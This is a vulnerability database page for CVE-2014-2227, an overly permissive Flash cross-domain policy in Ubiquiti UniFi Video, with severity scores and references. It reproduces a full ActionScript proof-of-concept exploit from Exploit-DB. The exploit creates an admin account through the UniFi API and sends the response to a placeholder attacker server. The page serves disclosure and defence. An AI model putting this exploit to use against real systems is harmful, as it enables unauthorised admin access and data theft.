CVE-2014-2227 : Detail

CVE-2014-2227

A01-Broken Access Control
4.07%V3
Network
2014-07-25
17h00 +00:00
2014-07-25
16h57 +00:00
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CVE Descriptions

The default Flash cross-domain policy (crossdomain.xml) in Ubiquiti Networks UniFi Video (formerly AirVision aka AirVision Controller) before 3.0.1 does not restrict access to the application, which allows remote attackers to bypass the Same Origin Policy via a crafted SWF file.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-264 Category : Permissions, Privileges, and Access Controls
Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control.

Metrics

Metrics Score Severity CVSS Vector Source
V2 6 AV:N/AC:M/Au:S/C:P/I:P/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 39268

Publication date : 2014-07-22 22h00 +00:00
Author : Seth Art
EDB Verified : Yes

source: https://www.securityfocus.com/bid/68866/info UniFi Video is prone to a security-bypass vulnerability. An authenticated attacker can exploit this issue to bypass certain security restrictions and perform unauthorized actions. This may lead to further attacks. UniFi Video 2.1.3 is vulnerable; other versions may also be affected. // Customized AirVision POC Author: Seth Art (sethsec at gmail.com) // POC Template Author: Gursev Singh Kalra (gursev.kalra at foundstone.com) // POC Template Author's github: (https://github.com/gursev/flash-xdomain-xploit) package { import flash.display.Sprite; import flash.events.*; import flash.net.URLRequestMethod; import flash.net.URLRequest; import flash.net.URLLoader; import flash.net.URLRequestHeader; public class XDomainXploit3 extends Sprite { public function XDomainXploit3() { // Target URL from where the data is to be retrieved var readFrom:String = "https//www.example.com:7443/api/2.0/admin"; var header:URLRequestHeader = new URLRequestHeader("Content-Type", "text/plain; charset=UTF-8"); var readRequest:URLRequest = new URLRequest(readFrom); readRequest.method = URLRequestMethod.POST readRequest.data = "{\"name\":\"csrf-cdp\",\"email\":\"[email protected]\",\"userGroup\":\"admin\",\"x_password\":\"password\",\"confirmPassword\":\"password\",\"disabled\":false}"; readRequest.requestHeaders.push(header); var getLoader:URLLoader = new URLLoader(); getLoader.addEventListener(Event.COMPLETE, eventHandler); try { getLoader.load(readRequest); } catch (error:Error) { trace("Error loading URL: " + error); } } private function eventHandler(event:Event):void { // URL to which retrieved data is to be sent var sendTo:String = "http://www.malicious-site.com/crossdomain/store.php" var sendRequest:URLRequest = new URLRequest(sendTo); sendRequest.method = URLRequestMethod.POST; sendRequest.data = event.target.data; var sendLoader:URLLoader = new URLLoader(); try { sendLoader.load(sendRequest); } catch (error:Error) { trace("Error loading URL: " + error); } } } }

Products Mentioned

Configuraton 0

Ui>>Unifi_video >> Version To (including) 2.1.3

References

http://seclists.org/fulldisclosure/2014/Jul/128
Tags : mailing-list, x_refsource_FULLDISC
http://www.securityfocus.com/bid/68866
Tags : vdb-entry, x_refsource_BID